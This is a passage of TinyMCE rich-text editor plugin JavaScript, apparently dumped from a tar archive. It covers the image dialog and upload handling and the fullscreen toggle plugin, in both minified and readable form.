getUploadHandler: getUploadHandler, getUploadBasePath: getUploadBasePath, getUploadCredentials: getUploadCredentials }; var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')(); var path = function (parts, scope) { var o = scope !== undefined && scope !== null ? scope : Global; for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) { o = o[parts[i]]; } return o; }; var resolve = function (p, scope) { var parts = p.split('.'); return path(parts, scope); }; var unsafe = function (name, scope) { return resolve(name, scope); }; var getOrDie = function (name, scope) { var actual = unsafe(name, scope); if (actual === undefined || actual === null) { throw new Error(name + ' not available on this browser'); } return actual; }; var Global$1 = { getOrDie: getOrDie }; function FileReader () { var f = Global$1.getOrDie('FileReader'); return new f(); } var global$1 = tinymce.util.Tools.resolve('tinymce.util.Promise'); var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var global$3 = tinymce.util.Tools.resolve('tinymce.util.XHR'); var parseIntAndGetMax = function (val1, val2) { return Math.max(parseInt(val1, 10), parseInt(val2, 10)); }; var getImageSize = function (url, callback) { var img = domGlobals.document.createElement('img'); function done(width, height) { if (img.parentNode) { img.parentNode.removeChild(img); } callback({ width: width, height: height }); } img.onload = function () { var width = parseIntAndGetMax(img.width, img.clientWidth); var height = parseIntAndGetMax(img.height, img.clientHeight); done(width, height); }; img.onerror = function () { done(0, 0); }; var style = img.style; style.visibility = 'hidden'; style.position = 'fixed'; style.bottom = style.left = '0px'; style.width = style.height = 'auto'; domGlobals.document.body.appendChild(img); img.src = url; }; var buildListItems = function (inputList, itemCallback, startItems) { function appendItems(values, output) { output = output || []; global$2.each(values, function (item) { var menuItem = { text: item.text || item.title }; if (item.menu) { menuItem.menu = appendItems(item.menu); } else { menuItem.value = item.value; itemCallback(menuItem); } output.push(menuItem); }); return output; } return appendItems(inputList, startItems || []); }; var removePixelSuffix = function (value) { if (value) { value = value.replace(/px$/, ''); } return value; }; var addPixelSuffix = function (value) { if (value.length > 0 && /^[0-9]+$/.test(value)) { value += 'px'; } return value; }; var mergeMargins = function (css) { if (css.margin) { var splitMargin = css.margin.split(' '); switch (splitMargin.length) { case 1: css['margin-top'] = css['margin-top'] || splitMargin[0]; css['margin-right'] = css['margin-right'] || splitMargin[0]; css['margin-bottom'] = css['margin-bottom'] || splitMargin[0]; css['margin-left'] = css['margin-left'] || splitMargin[0]; break; case 2: css['margin-top'] = css['margin-top'] || splitMargin[0]; css['margin-right'] = css['margin-right'] || splitMargin[1]; css['margin-bottom'] = css['margin-bottom'] || splitMargin[0]; css['margin-left'] = css['margin-left'] || splitMargin[1]; break; case 3: css['margin-top'] = css['margin-top'] || splitMargin[0]; css['margin-right'] = css['margin-right'] || splitMargin[1]; css['margin-bottom'] = css['margin-bottom'] || splitMargin[2]; css['margin-left'] = css['margin-left'] || splitMargin[1]; break; case 4: css['margin-top'] = css['margin-top'] || splitMargin[0]; css['margin-right'] = css['margin-right'] || splitMargin[1]; css['margin-bottom'] = css['margin-bottom'] || splitMargin[2]; css['margin-left'] = css['margin-left'] || splitMargin[3]; } delete css.margin; } return css; }; var createImageList = function (editor, callback) { var imageList = Settings.getImageList(editor); if (typeof imageList === 'string') { global$3.send({ url: imageList, success: function (text) { callback(JSON.parse(text)); } }); } else if (typeof imageList === 'function') { imageList(callback); } else { callback(imageList); } }; var waitLoadImage = function (editor, data, imgElm) { function selectImage() { imgElm.onload = imgElm.onerror = null; if (editor.selection) { editor.selection.select(imgElm); editor.nodeChanged(); } } imgElm.onload = function () { if (!data.width && !data.height && Settings.hasDimensions(editor)) { editor.dom.setAttribs(imgElm, { width: imgElm.clientWidth, height: imgElm.clientHeight }); } selectImage(); }; imgElm.onerror = selectImage; }; var blobToDataUri = function (blob) { return new global$1(function (resolve, reject) { var reader = FileReader(); reader.onload = function () { resolve(reader.result); }; reader.onerror = function () { reject(reader.error.message); }; reader.readAsDataURL(blob); }); }; var Utils = { getImageSize: getImageSize, buildListItems: buildListItems, removePixelSuffix: removePixelSuffix, addPixelSuffix: addPixelSuffix, mergeMargins: mergeMargins, createImageList: createImageList, waitLoadImage: waitLoadImage, blobToDataUri: blobToDataUri }; var global$4 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var hasOwnProperty = Object.prototype.hasOwnProperty; var shallow = function (old, nu) { return nu; }; var baseMerge = function (merger) { return function () { var objects = new Array(arguments.length); for (var i = 0; i < objects.length; i++) { objects[i] = arguments[i]; } if (objects.length === 0) { throw new Error('Can\'t merge zero objects'); } var ret = {}; for (var j = 0; j < objects.length; j++) { var curObject = objects[j]; for (var key in curObject) { if (hasOwnProperty.call(curObject, key)) { ret[key] = merger(ret[key], curObject[key]); } } } return ret; }; }; var merge = baseMerge(shallow); var DOM = global$4.DOM; var getHspace = function (image) { if (image.style.marginLeft && image.style.marginRight && image.style.marginLeft === image.style.marginRight) { return Utils.removePixelSuffix(image.style.marginLeft); } else { return ''; } }; var getVspace = function (image) { if (image.style.marginTop && image.style.marginBottom && image.style.marginTop === image.style.marginBottom) { return Utils.removePixelSuffix(image.style.marginTop); } else { return ''; } }; var getBorder = function (image) { if (image.style.borderWidth) { return Utils.removePixelSuffix(image.style.borderWidth); } else { return ''; } }; var getAttrib = function (image, name) { if (image.hasAttribute(name)) { return image.getAttribute(name); } else { return ''; } }; var getStyle = function (image, name) { return image.style[name] ? image.style[name] : ''; }; var hasCaption = function (image) { return image.parentNode !== null && image.parentNode.nodeName === 'FIGURE'; }; var setAttrib = function (image, name, value) { image.setAttribute(name, value); }; var wrapInFigure = function (image) { var figureElm = DOM.create('figure', { class: 'image' }); DOM.insertAfter(figureElm, image); figureElm.appendChild(image); figureElm.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption')); figureElm.contentEditable = 'false'; }; var removeFigure = function (image) { var figureElm = image.parentNode; DOM.insertAfter(image, figureElm); DOM.remove(figureElm); }; var toggleCaption = function (image) { if (hasCaption(image)) { removeFigure(image); } else { wrapInFigure(image); } }; var normalizeStyle = function (image, normalizeCss) { var attrValue = image.getAttribute('style'); var value = normalizeCss(attrValue !== null ? attrValue : ''); if (value.length > 0) { image.setAttribute('style', value); image.setAttribute('data-mce-style', value); } else { image.removeAttribute('style'); } }; var setSize = function (name, normalizeCss) { return function (image, name, value) { if (image.style[name]) { image.style[name] = Utils.addPixelSuffix(value); normalizeStyle(image, normalizeCss); } else { setAttrib(image, name, value); } }; }; var getSize = function (image, name) { if (image.style[name]) { return Utils.removePixelSuffix(image.style[name]); } else { return getAttrib(image, name); } }; var setHspace = function (image, value) { var pxValue = Utils.addPixelSuffix(value); image.style.marginLeft = pxValue; image.style.marginRight = pxValue; }; var setVspace = function (image, value) { var pxValue = Utils.addPixelSuffix(value); image.style.marginTop = pxValue; image.style.marginBottom = pxValue; }; var setBorder = function (image, value) { var pxValue = Utils.addPixelSuffix(value); image.style.borderWidth = pxValue; }; var setBorderStyle = function (image, value) { image.style.borderStyle = value; }; var getBorderStyle = function (image) { return getStyle(image, 'borderStyle'); }; var isFigure = function (elm) { return elm.nodeName === 'FIGURE'; }; var defaultData = function () { return { src: '', alt: '', title: '', width: '', height: '', class: '', style: '', caption: false, hspace: '', vspace: '', border: '', borderStyle: '' }; }; var getStyleValue = function (normalizeCss, data) { var image = domGlobals.document.createElement('img'); setAttrib(image, 'style', data.style); if (getHspace(image) || data.hspace !== '') { setHspace(image, data.hspace); } if (getVspace(image) || data.vspace !== '') { setVspace(image, data.vspace); } if (getBorder(image) || data.border !== '') { setBorder(image, data.border); } if (getBorderStyle(image) || data.borderStyle !== '') { setBorderStyle(image, data.borderStyle); } return normalizeCss(image.getAttribute('style')); }; var create = function (normalizeCss, data) { var image = domGlobals.document.createElement('img'); write(normalizeCss, merge(data, { caption: false }), image); setAttrib(image, 'alt', data.alt); if (data.caption) { var figure = DOM.create('figure', { class: 'image' }); figure.appendChild(image); figure.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption')); figure.contentEditable = 'false'; return figure; } else { return image; } }; var read = function (normalizeCss, image) { return { src: getAttrib(image, 'src'), alt: getAttrib(image, 'alt'), title: getAttrib(image, 'title'), width: getSize(image, 'width'), height: getSize(image, 'height'), class: getAttrib(image, 'class'), style: normalizeCss(getAttrib(image, 'style')), caption: hasCaption(image), hspace: getHspace(image), vspace: getVspace(image), border: getBorder(image), borderStyle: getStyle(image, 'borderStyle') }; }; var updateProp = function (image, oldData, newData, name, set) { if (newData[name] !== oldData[name]) { set(image, name, newData[name]); } }; var normalized = function (set, normalizeCss) { return function (image, name, value) { set(image, value); normalizeStyle(image, normalizeCss); }; }; var write = function (normalizeCss, newData, image) { var oldData = read(normalizeCss, image); updateProp(image, oldData, newData, 'caption', function (image, _name, _value) { return toggleCaption(image); }); updateProp(image, oldData, newData, 'src', setAttrib); updateProp(image, oldData, newData, 'alt', setAttrib); updateProp(image, oldData, newData, 'title', setAttrib); updateProp(image, oldData, newData, 'width', setSize('width', normalizeCss)); updateProp(image, oldData, newData, 'height', setSize('height', normalizeCss)); updateProp(image, oldData, newData, 'class', setAttrib); updateProp(image, oldData, newData, 'style', normalized(function (image, value) { return setAttrib(image, 'style', value); }, normalizeCss)); updateProp(image, oldData, newData, 'hspace', normalized(setHspace, normalizeCss)); updateProp(image, oldData, newData, 'vspace', normalized(setVspace, normalizeCss)); updateProp(image, oldData, newData, 'border', normalized(setBorder, normalizeCss)); updateProp(image, oldData, newData, 'borderStyle', normalized(setBorderStyle, normalizeCss)); }; var normalizeCss = function (editor, cssText) { var css = editor.dom.styles.parse(cssText); var mergedCss = Utils.mergeMargins(css); var compressed = editor.dom.styles.parse(editor.dom.styles.serialize(mergedCss)); return editor.dom.styles.serialize(compressed); }; var getSelectedImage = function (editor) { var imgElm = editor.selection.getNode(); var figureElm = editor.dom.getParent(imgElm, 'figure.image'); if (figureElm) { return editor.dom.select('img', figureElm)[0]; } if (imgElm && (imgElm.nodeName !== 'IMG' || imgElm.getAttribute('data-mce-object') || imgElm.getAttribute('data-mce-placeholder'))) { return null; } return imgElm; }; var splitTextBlock = function (editor, figure) { var dom = editor.dom; var textBlock = dom.getParent(figure.parentNode, function (node) { return editor.schema.getTextBlockElements()[node.nodeName]; }, editor.getBody()); if (textBlock) { return dom.split(textBlock, figure); } else { return figure; } }; var readImageDataFromSelection = function (editor) { var image = getSelectedImage(editor); return image ? read(function (css) { return normalizeCss(editor, css); }, image) : defaultData(); }; var insertImageAtCaret = function (editor, data) { var elm = create(function (css) { return normalizeCss(editor, css); }, data); editor.dom.setAttrib(elm, 'data-mce-id', '__mcenew'); editor.focus(); editor.selection.setContent(elm.outerHTML); var insertedElm = editor.dom.select('*[data-mce-id="__mcenew"]')[0]; editor.dom.setAttrib(insertedElm, 'data-mce-id', null); if (isFigure(insertedElm)) { var figure = splitTextBlock(editor, insertedElm); editor.selection.select(figure); } else { editor.selection.select(insertedElm); } }; var syncSrcAttr = function (editor, image) { editor.dom.setAttrib(image, 'src', image.getAttribute('src')); }; var deleteImage = function (editor, image) { if (image) { var elm = editor.dom.is(image.parentNode, 'figure.image') ? image.parentNode : image; editor.dom.remove(elm); editor.focus(); editor.nodeChanged(); if (editor.dom.isEmpty(editor.getBody())) { editor.setContent(''); editor.selection.setCursorLocation(); } } }; var writeImageDataToSelection = function (editor, data) { var image = getSelectedImage(editor); write(function (css) { return normalizeCss(editor, css); }, data, image); syncSrcAttr(editor, image); if (isFigure(image.parentNode)) { var figure = image.parentNode; splitTextBlock(editor, figure); editor.selection.select(image.parentNode); } else { editor.selection.select(image); Utils.waitLoadImage(editor, data, image); } }; var insertOrUpdateImage = function (editor, data) { var image = getSelectedImage(editor); if (image) { if (data.src) { writeImageDataToSelection(editor, data); } else { deleteImage(editor, image); } } else if (data.src) { insertImageAtCaret(editor, data); } }; var updateVSpaceHSpaceBorder = function (editor) { return function (evt) { var dom = editor.dom; var rootControl = evt.control.rootControl; if (!Settings.hasAdvTab(editor)) { return; } var data = rootControl.toJSON(); var css = dom.parseStyle(data.style); rootControl.find('#vspace').value(''); rootControl.find('#hspace').value(''); css = Utils.mergeMargins(css); if (css['margin-top'] && css['margin-bottom'] || css['margin-right'] && css['margin-left']) { if (css['margin-top'] === css['margin-bottom']) { rootControl.find('#vspace').value(Utils.removePixelSuffix(css['margin-top'])); } else { rootControl.find('#vspace').value(''); } if (css['margin-right'] === css['margin-left']) { rootControl.find('#hspace').value(Utils.removePixelSuffix(css['margin-right'])); } else { rootControl.find('#hspace').value(''); } } if (css['border-width']) { rootControl.find('#border').value(Utils.removePixelSuffix(css['border-width'])); } else { rootControl.find('#border').value(''); } if (css['border-style']) { rootControl.find('#borderStyle').value(css['border-style']); } else { rootControl.find('#borderStyle').value(''); } rootControl.find('#style').value(dom.serializeStyle(dom.parseStyle(dom.serializeStyle(css)))); }; }; var updateStyle = function (editor, win) { win.find('#style').each(function (ctrl) { var value = getStyleValue(function (css) { return normalizeCss(editor, css); }, merge(defaultData(), win.toJSON())); ctrl.value(value); }); }; var makeTab = function (editor) { return { title: 'Advanced', type: 'form', pack: 'start', items: [ { label: 'Style', name: 'style', type: 'textbox', onchange: updateVSpaceHSpaceBorder(editor) }, { type: 'form', layout: 'grid', packV: 'start', columns: 2, padding: 0, defaults: { type: 'textbox', maxWidth: 50, onchange: function (evt) { updateStyle(editor, evt.control.rootControl); } }, items: [ { label: 'Vertical space', name: 'vspace' }, { label: 'Border width', name: 'border' }, { label: 'Horizontal space', name: 'hspace' }, { label: 'Border style', type: 'listbox', name: 'borderStyle', width: 90, maxWidth: 90, onselect: function (evt) { updateStyle(editor, evt.control.rootControl); }, values: [ { text: 'Select...', value: '' }, { text: 'Solid', value: 'solid' }, { text: 'Dotted', value: 'dotted' }, { text: 'Dashed', value: 'dashed' }, { text: 'Double', value: 'double' }, { text: 'Groove', value: 'groove' }, { text: 'Ridge', value: 'ridge' }, { text: 'Inset', value: 'inset' }, { text: 'Outset', value: 'outset' }, { text: 'None', value: 'none' }, { text: 'Hidden', value: 'hidden' } ] } ] } ] }; }; var AdvTab = { makeTab: makeTab }; var doSyncSize = function (widthCtrl, heightCtrl) { widthCtrl.state.set('oldVal', widthCtrl.value()); heightCtrl.state.set('oldVal', heightCtrl.value()); }; var doSizeControls = function (win, f) { var widthCtrl = win.find('#width')[0]; var heightCtrl = win.find('#height')[0]; var constrained = win.find('#constrain')[0]; if (widthCtrl && heightCtrl && constrained) { f(widthCtrl, heightCtrl, constrained.checked()); } }; var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) { var oldWidth = widthCtrl.state.get('oldVal'); var oldHeight = heightCtrl.state.get('oldVal'); var newWidth = widthCtrl.value(); var newHeight = heightCtrl.value(); if (isContrained && oldWidth && oldHeight && newWidth && newHeight) { if (newWidth !== oldWidth) { newHeight = Math.round(newWidth / oldWidth * newHeight); if (!isNaN(newHeight)) { heightCtrl.value(newHeight); } } else { newWidth = Math.round(newHeight / oldHeight * newWidth); if (!isNaN(newWidth)) { widthCtrl.value(newWidth); } } } doSyncSize(widthCtrl, heightCtrl); }; var syncSize = function (win) { doSizeControls(win, doSyncSize); }; var updateSize = function (win) { doSizeControls(win, doUpdateSize); }; var createUi = function () { var recalcSize = function (evt) { updateSize(evt.control.rootControl); }; return { type: 'container', label: 'Dimensions', layout: 'flex', align: 'center', spacing: 5, items: [ { name: 'width', type: 'textbox', maxLength: 5, size: 5, onchange: recalcSize, ariaLabel: 'Width' }, { type: 'label', text: 'x' }, { name: 'height', type: 'textbox', maxLength: 5, size: 5, onchange: recalcSize, ariaLabel: 'Height' }, { name: 'constrain', type: 'checkbox', checked: true, text: 'Constrain proportions' } ] }; }; var SizeManager = { createUi: createUi, syncSize: syncSize, updateSize: updateSize }; var onSrcChange = function (evt, editor) { var srcURL, prependURL, absoluteURLPattern; var meta = evt.meta || {}; var control = evt.control; var rootControl = control.rootControl; var imageListCtrl = rootControl.find('#image-list')[0]; if (imageListCtrl) { imageListCtrl.value(editor.convertURL(control.value(), 'src')); } global$2.each(meta, function (value, key) { rootControl.find('#' + key).value(value); }); if (!meta.width && !meta.height) { srcURL = editor.convertURL(control.value(), 'src'); prependURL = Settings.getPrependUrl(editor); absoluteURLPattern = new RegExp('^(?:[a-z]+:)?//', 'i'); if (prependURL && !absoluteURLPattern.test(srcURL) && srcURL.substring(0, prependURL.length) !== prependURL) { srcURL = prependURL + srcURL; } control.value(srcURL); Utils.getImageSize(editor.documentBaseURI.toAbsolute(control.value()), function (data) { if (data.width && data.height && Settings.hasDimensions(editor)) { rootControl.find('#width').value(data.width); rootControl.find('#height').value(data.height); SizeManager.syncSize(rootControl); } }); } }; var onBeforeCall = function (evt) { evt.meta = evt.control.rootControl.toJSON(); }; var getGeneralItems = function (editor, imageListCtrl) { var generalFormItems = [ { name: 'src', type: 'filepicker', filetype: 'image', label: 'Source', autofocus: true, onchange: function (evt) { onSrcChange(evt, editor); }, onbeforecall: onBeforeCall }, imageListCtrl ]; if (Settings.hasDescription(editor)) { generalFormItems.push({ name: 'alt', type: 'textbox', label: 'Image description' }); } if (Settings.hasImageTitle(editor)) { generalFormItems.push({ name: 'title', type: 'textbox', label: 'Image Title' }); } if (Settings.hasDimensions(editor)) { generalFormItems.push(SizeManager.createUi()); } if (Settings.getClassList(editor)) { generalFormItems.push({ name: 'class', type: 'listbox', label: 'Class', values: Utils.buildListItems(Settings.getClassList(editor), function (item) { if (item.value) { item.textStyle = function () { return editor.formatter.getCssText({ inline: 'img', classes: [item.value] }); }; } }) }); } if (Settings.hasImageCaption(editor)) { generalFormItems.push({ name: 'caption', type: 'checkbox', label: 'Caption' }); } return generalFormItems; }; var makeTab$1 = function (editor, imageListCtrl) { return { title: 'General', type: 'form', items: getGeneralItems(editor, imageListCtrl) }; }; var MainTab = { makeTab: makeTab$1, getGeneralItems: getGeneralItems }; var url = function () { return Global$1.getOrDie('URL'); }; var createObjectURL = function (blob) { return url().createObjectURL(blob); }; var revokeObjectURL = function (u) { url().revokeObjectURL(u); }; var URL = { createObjectURL: createObjectURL, revokeObjectURL: revokeObjectURL }; var global$5 = tinymce.util.Tools.resolve('tinymce.ui.Factory'); function XMLHttpRequest () { var f = Global$1.getOrDie('XMLHttpRequest'); return new f(); } var noop = function () { }; var pathJoin = function (path1, path2) { if (path1) { return path1.replace(/\/$/, '') + '/' + path2.replace(/^\//, ''); } return path2; }; function Uploader (settings) { var defaultHandler = function (blobInfo, success, failure, progress) { var xhr, formData; xhr = XMLHttpRequest(); xhr.open('POST', settings.url); xhr.withCredentials = settings.credentials; xhr.upload.onprogress = function (e) { progress(e.loaded / e.total * 100); }; xhr.onerror = function () { failure('Image upload failed due to a XHR Transport error. Code: ' + xhr.status); }; xhr.onload = function () { var json; if (xhr.status < 200 || xhr.status >= 300) { failure('HTTP Error: ' + xhr.status); return; } json = JSON.parse(xhr.responseText); if (!json || typeof json.location !== 'string') { failure('Invalid JSON: ' + xhr.responseText); return; } success(pathJoin(settings.basePath, json.location)); }; formData = new domGlobals.FormData(); formData.append('file', blobInfo.blob(), blobInfo.filename()); xhr.send(formData); }; var uploadBlob = function (blobInfo, handler) { return new global$1(function (resolve, reject) { try { handler(blobInfo, resolve, reject, noop); } catch (ex) { reject(ex.message); } }); }; var isDefaultHandler = function (handler) { return handler === defaultHandler; }; var upload = function (blobInfo) { return !settings.url && isDefaultHandler(settings.handler) ? global$1.reject('Upload url missing from the settings.') : uploadBlob(blobInfo, settings.handler); }; settings = global$2.extend({ credentials: false, handler: defaultHandler }, settings); return { upload: upload }; } var onFileInput = function (editor) { return function (evt) { var Throbber = global$5.get('Throbber'); var rootControl = evt.control.rootControl; var throbber = new Throbber(rootControl.getEl()); var file = evt.control.value(); var blobUri = URL.createObjectURL(file); var uploader = Uploader({ url: Settings.getUploadUrl(editor), basePath: Settings.getUploadBasePath(editor), credentials: Settings.getUploadCredentials(editor), handler: Settings.getUploadHandler(editor) }); var finalize = function () { throbber.hide(); URL.revokeObjectURL(blobUri); }; throbber.show(); return Utils.blobToDataUri(file).then(function (dataUrl) { var blobInfo = editor.editorUpload.blobCache.create({ blob: file, blobUri: blobUri, name: file.name ? file.name.replace(/\.[^\.]+$/, '') : null, base64: dataUrl.split(',')[1] }); return uploader.upload(blobInfo).then(function (url) { var src = rootControl.find('#src'); src.value(url); rootControl.find('tabpanel')[0].activateTab(0); src.fire('change'); finalize(); return url; }); }).catch(function (err) { editor.windowManager.alert(err); finalize(); }); }; }; var acceptExts = '.jpg,.jpeg,.png,.gif'; var makeTab$2 = function (editor) { return { title: 'Upload', type: 'form', layout: 'flex', direction: 'column', align: 'stretch', padding: '20 20 20 20', items: [ { type: 'container', layout: 'flex', direction: 'column', align: 'center', spacing: 10, items: [ { text: 'Browse for an image', type: 'browsebutton', accept: acceptExts, onchange: onFileInput(editor) }, { text: 'OR', type: 'label' } ] }, { text: 'Drop an image here', type: 'dropzone', accept: acceptExts, height: 100, onchange: onFileInput(editor) } ] }; }; var UploadTab = { makeTab: makeTab$2 }; function curry(fn) { var initialArgs = []; for (var _i = 1; _i < arguments.length; _i++) { initialArgs[_i - 1] = arguments[_i]; } return function () { var restArgs = []; for (var _i = 0; _i < arguments.length; _i++) { restArgs[_i] = arguments[_i]; } var all = initialArgs.concat(restArgs); return fn.apply(null, all); }; } var submitForm = function (editor, evt) { var win = evt.control.getRoot(); SizeManager.updateSize(win); editor.undoManager.transact(function () { var data = merge(readImageDataFromSelection(editor), win.toJSON()); insertOrUpdateImage(editor, data); }); editor.editorUpload.uploadImagesAuto(); }; function Dialog (editor) { function showDialog(imageList) { var data = readImageDataFromSelection(editor); var win, imageListCtrl; if (imageList) { imageListCtrl = { type: 'listbox', label: 'Image list', name: 'image-list', values: Utils.buildListItems(imageList, function (item) { item.value = editor.convertURL(item.value || item.url, 'src'); }, [{ text: 'None', value: '' }]), value: data.src && editor.convertURL(data.src, 'src'), onselect: function (e) { var altCtrl = win.find('#alt'); if (!altCtrl.value() || e.lastControl && altCtrl.value() === e.lastControl.text()) { altCtrl.value(e.control.text()); } win.find('#src').value(e.control.value()).fire('change'); }, onPostRender: function () { imageListCtrl = this; } }; } if (Settings.hasAdvTab(editor) || Settings.hasUploadUrl(editor) || Settings.hasUploadHandler(editor)) { var body = [MainTab.makeTab(editor, imageListCtrl)]; if (Settings.hasAdvTab(editor)) { body.push(AdvTab.makeTab(editor)); } if (Settings.hasUploadUrl(editor) || Settings.hasUploadHandler(editor)) { body.push(UploadTab.makeTab(editor)); } win = editor.windowManager.open({ title: 'Insert/edit image', data: data, bodyType: 'tabpanel', body: body, onSubmit: curry(submitForm, editor) }); } else { win = editor.windowManager.open({ title: 'Insert/edit image', data: data, body: MainTab.getGeneralItems(editor, imageListCtrl), onSubmit: curry(submitForm, editor) }); } SizeManager.syncSize(win); } function open() { Utils.createImageList(editor, showDialog); } return { open: open }; } var register = function (editor) { editor.addCommand('mceImage', Dialog(editor).open); }; var Commands = { register: register }; var hasImageClass = function (node) { var className = node.attr('class'); return className && /\bimage\b/.test(className); }; var toggleContentEditableState = function (state) { return function (nodes) { var i = nodes.length, node; var toggleContentEditable = function (node) { node.attr('contenteditable', state ? 'true' : null); }; while (i--) { node = nodes[i]; if (hasImageClass(node)) { node.attr('contenteditable', state ? 'false' : null); global$2.each(node.getAll('figcaption'), toggleContentEditable); } } }; }; var setup = function (editor) { editor.on('preInit', function () { editor.parser.addNodeFilter('figure', toggleContentEditableState(true)); editor.serializer.addNodeFilter('figure', toggleContentEditableState(false)); }); }; var FilterContent = { setup: setup }; var register$1 = function (editor) { editor.addButton('image', { icon: 'image', tooltip: 'Insert/edit image', onclick: Dialog(editor).open, stateSelector: 'img:not([data-mce-object],[data-mce-placeholder]),figure.image' }); editor.addMenuItem('image', { icon: 'image', text: 'Image', onclick: Dialog(editor).open, context: 'insert', prependToContext: true }); }; var Buttons = { register: register$1 }; global.add('image', function (editor) { FilterContent.setup(editor); Buttons.register(editor); Commands.register(editor); }); function Plugin () { } return Plugin; }(window)); })(); tinymce/plugins/fullscreen/plugin.min.js 0000644 00000004210 15111757755 0014470 0 ustar 00 !function(m){"use strict";var i=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return i(t())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(e){return{isFullscreen:function(){return null!==e.get()}}},n=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),g=function(e,n){e.fire("FullscreenStateChanged",{state:n})},w=n.DOM,r=function(e,n){var t,r,l,i,o,c,s=m.document.body,u=m.document.documentElement,d=n.get(),a=function(){var e,n,t,i;w.setStyle(l,"height",(t=m.window,i=m.document.body,i.offsetWidth&&(e=i.offsetWidth,n=i.offsetHeight),t.innerWidth&&t.innerHeight&&(e=t.innerWidth,n=t.innerHeight),{w:e,h:n}).h-(r.clientHeight-l.clientHeight))},h=function(){w.unbind(m.window,"resize",a)};if(t=(r=e.getContainer()).style,i=(l=e.getContentAreaContainer().firstChild).style,d)i.width=d.iframeWidth,i.height=d.iframeHeight,d.containerWidth&&(t.width=d.containerWidth),d.containerHeight&&(t.height=d.containerHeight),w.removeClass(s,"mce-fullscreen"),w.removeClass(u,"mce-fullscreen"),w.removeClass(r,"mce-fullscreen"),o=d.scrollPos,m.window.scrollTo(o.x,o.y),w.unbind(m.window,"resize",d.resizeHandler),e.off("remove",d.removeHandler),n.set(null),g(e,!1);else{var f={scrollPos:(c=w.getViewPort(),{x:c.x,y:c.y}),containerWidth:t.width,containerHeight:t.height,iframeWidth:i.width,iframeHeight:i.height,resizeHandler:a,removeHandler:h};i.width=i.height="100%",t.width=t.height="",w.addClass(s,"mce-fullscreen"),w.addClass(u,"mce-fullscreen"),w.addClass(r,"mce-fullscreen"),w.bind(m.window,"resize",a),e.on("remove",h),a(),n.set(f),g(e,!0)}},l=function(e,n){e.addCommand("mceFullScreen",function(){r(e,n)})},o=function(t){return function(e){var n=e.control;t.on("FullscreenStateChanged",function(e){n.active(e.state)})}},c=function(e){e.addMenuItem("fullscreen",{text:"Fullscreen",shortcut:"Ctrl+Shift+F",selectable:!0,cmd:"mceFullScreen",onPostRender:o(e),context:"view"}),e.addButton("fullscreen",{active:!1,tooltip:"Fullscreen",cmd:"mceFullScreen",onPostRender:o(e)})};e.add("fullscreen",function(e){var n=i(null);return e.settings.inline||(l(e,n),c(e),e.addShortcut("Ctrl+Shift+F","","mceFullScreen")),t(n)})}(window); tinymce/plugins/fullscreen/plugin.js 0000644 00000012733 15111757755 0013717 0 ustar 00 (function () { var fullscreen = (function (domGlobals) { 'use strict'; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; var clone = function () { return Cell(get()); }; return { get: get, set: set, clone: clone }; }; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var get = function (fullscreenState) { return { isFullscreen: function () { return fullscreenState.get() !== null; } }; }; var Api = { get: get }; var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var fireFullscreenStateChanged = function (editor, state) { editor.fire('FullscreenStateChanged', { state: state }); }; var Events = { fireFullscreenStateChanged: fireFullscreenStateChanged }; var DOM = global$1.DOM; var getWindowSize = function () { var w; var h; var win = domGlobals.window; var doc = domGlobals.document; var body = doc.body; if (body.offsetWidth) { w = body.offsetWidth; h = body.offsetHeight; } if (win.innerWidth && win.innerHeight) { w = win.innerWidth; h = win.innerHeight; } return { w: w, h: h }; }; var getScrollPos = function () { var vp = DOM.getViewPort(); return { x: vp.x, y: vp.y }; }; var setScrollPos = function (pos) { domGlobals.window.scrollTo(pos.x, pos.y); }; var toggleFullscreen = function (editor, fullscreenState) { var body = domGlobals.document.body; var documentElement = domGlobals.document.documentElement; var editorContainerStyle; var editorContainer, iframe, iframeStyle; var fullscreenInfo = fullscreenState.get(); var resize = function () { DOM.setStyle(iframe, 'height', getWindowSize().h - (editorContainer.clientHeight - iframe.clientHeight)); }; var removeResize = function () { DOM.unbind(domGlobals.window, 'resize', resize); }; editorContainer = editor.getContainer(); editorContainerStyle = editorContainer.style; iframe = editor.getContentAreaContainer().firstChild; iframeStyle = iframe.style; if (!fullscreenInfo) { var newFullScreenInfo = { scrollPos: getScrollPos(), containerWidth: editorContainerStyle.width, containerHeight: editorContainerStyle.height, iframeWidth: iframeStyle.width, iframeHeight: iframeStyle.height, resizeHandler: resize, removeHandler: removeResize }; iframeStyle.width = iframeStyle.height = '100%'; editorContainerStyle.width = editorContainerStyle.height = ''; DOM.addClass(body, 'mce-fullscreen'); DOM.addClass(documentElement, 'mce-fullscreen'); DOM.addClass(editorContainer, 'mce-fullscreen'); DOM.bind(domGlobals.window, 'resize', resize); editor.on('remove', removeResize); resize(); fullscreenState.set(newFullScreenInfo); Events.fireFullscreenStateChanged(editor, true); } else { iframeStyle.width = fullscreenInfo.iframeWidth; iframeStyle.height = fullscreenInfo.iframeHeight; if (fullscreenInfo.containerWidth) { editorContainerStyle.width = fullscreenInfo.containerWidth; } if (fullscreenInfo.containerHeight) { editorContainerStyle.height = fullscreenInfo.containerHeight; } DOM.removeClass(body, 'mce-fullscreen'); DOM.removeClass(documentElement, 'mce-fullscreen'); DOM.removeClass(editorContainer, 'mce-fullscreen'); setScrollPos(fullscreenInfo.scrollPos); DOM.unbind(domGlobals.window, 'resize', fullscreenInfo.resizeHandler); editor.off('remove', fullscreenInfo.removeHandler); fullscreenState.set(null); Events.fireFullscreenStateChanged(editor, false); } }; var Actions = { toggleFullscreen: toggleFullscreen }; var register = function (editor, fullscreenState) { editor.addCommand('mceFullScreen', function () { Actions.toggleFullscreen(editor, fullscreenState); }); }; var Commands = { register: register }; var postRender = function (editor) { return function (e) { var ctrl = e.control; editor.on('FullscreenStateChanged', function (e) { ctrl.active(e.state); 